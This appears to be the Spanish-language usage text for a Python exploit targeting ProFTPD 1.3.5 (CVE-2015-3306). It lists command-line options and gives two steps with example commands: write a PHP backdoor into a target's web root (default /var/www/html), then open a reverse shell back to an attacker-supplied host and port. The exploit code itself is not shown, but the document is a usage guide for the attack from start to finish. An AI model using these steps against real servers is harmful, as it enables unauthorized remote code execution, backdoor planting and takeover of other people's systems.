
Exploit en Python para ProFTPD 1.3.5 (CVE-2015-3306) que permite ejecución remota de código mediante carga de puerta trasera y shell inversa.
ProFTPd 1.3.5 RCE
Usage: ProFTPD.py [options]
Options:
-h, --help show this help message and exit
-l LHOST, --lhost=LHOST
Local IP Required for Reverse Shell,
-p LPORT, --lport=LPORT
Port Required for Reverse Shell,
-t TARGET, --target=TARGET
Vulnerable Target,
-d DIRECTORY, --dir=DIRECTORY
WebRoot directory to Upload Backdoor, Default: /var/www/html
-c COMMAND, --command=COMMAND
System Command,
-f FILE, --file=FILE
Backdoor Name, Default: shell.php.
PASO 1 - Escribir backdoor en la máquina objetivo!
Usage: python3 exploit.py -t 10.x.x.x -f cmd.php -d '/var/www/html'
PASO 2 - Obtener shell!!
Usage: python3 exploit.py -t 10.x.x.x --lhost 172.x.x.x --lport 4242